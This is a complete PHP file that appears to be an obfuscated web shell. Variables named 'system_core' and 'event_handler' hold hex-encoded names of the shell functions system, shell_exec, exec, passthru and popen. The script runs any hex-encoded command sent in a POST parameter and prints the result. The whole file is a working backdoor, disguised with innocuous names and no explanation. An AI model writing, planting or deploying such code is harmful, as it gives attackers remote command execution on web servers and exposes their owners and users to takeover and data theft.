<?php


$comp1 = '7';
$comp2 = '9';
$comp3 = '4';
$comp4 = '5';
$comp5 = 'd';
$comp6 = '6';
$comp7 = '8';
$comp8 = 'c';
$comp9 = 'f';
$comp10 = '3';
$comp11 = '1';
$comp12 = '2';
$comp13 = '0';
$comp14 = 'e';
$system_core1 = pack("H*", $comp1.'3'.'7'.$comp2.$comp1.'3'.$comp1.$comp3.'6'.$comp4.'6'.$comp5);
$system_core2 = pack("H*", $comp1.'3'.$comp6.$comp7.$comp6.$comp4.'6'.$comp8.$comp6.$comp8.$comp4.$comp9.'6'.'5'.'7'.'8'.$comp6.$comp4.$comp6.'3');
$system_core3 = pack("H*", '6'.'5'.'7'.'8'.'6'.'5'.'6'.$comp10);
$system_core4 = pack("H*", $comp1.'0'.'6'.$comp11.'7'.'3'.'7'.'3'.$comp1.$comp3.$comp6.$comp7.'7'.$comp12.'7'.'5');
$system_core5 = pack("H*", $comp1.$comp13.$comp6.'f'.'7'.'0'.'6'.'5'.$comp6.'e');
$system_core6 = pack("H*", '7'.'3'.'7'.$comp3.'7'.$comp12.$comp6.'5'.$comp6.'1'.$comp6.'d'.'5'.$comp9.'6'.'7'.'6'.$comp4.$comp1.'4'.$comp4.'f'.'6'.'3'.$comp6.'f'.$comp6.'e'.'7'.$comp3.'6'.'5'.$comp6.$comp14.'7'.$comp3.'7'.$comp10);
$system_core7 = pack("H*", $comp1.$comp13.$comp6.$comp10.$comp6.'c'.$comp6.'f'.'7'.$comp10.$comp6.'5');
$event_handler = pack("H*", '6'.$comp4.'7'.'6'.$comp6.$comp4.$comp6.$comp14.$comp1.$comp3.'5'.$comp9.'6'.'8'.'6'.'1'.'6'.'e'.$comp6.$comp3.$comp6.$comp8.$comp6.$comp4.$comp1.$comp12);
if (isset($_POST[$event_handler])) {
    $event_handler = pack("H*", $_POST[$event_handler]);
    if (function_exists($system_core1)) {
        $system_core1($event_handler);
    } elseif (function_exists($system_core2)) {
        print $system_core2($event_handler);
    } elseif (function_exists($system_core3)) {
        $system_core3($event_handler, $sym_pointer);
        print join("\n", $sym_pointer);
    } elseif (function_exists($system_core4)) {
        $system_core4($event_handler);
    } elseif (function_exists($system_core5) && function_exists($system_core6) && function_exists($system_core7)) {
        $mrk_obj = $system_core5($event_handler, 'r');
        if ($mrk_obj) {
            $symbol_ptr = $system_core6($mrk_obj);
            $system_core7($mrk_obj);
            print $symbol_ptr;
        }
    }
    exit;
}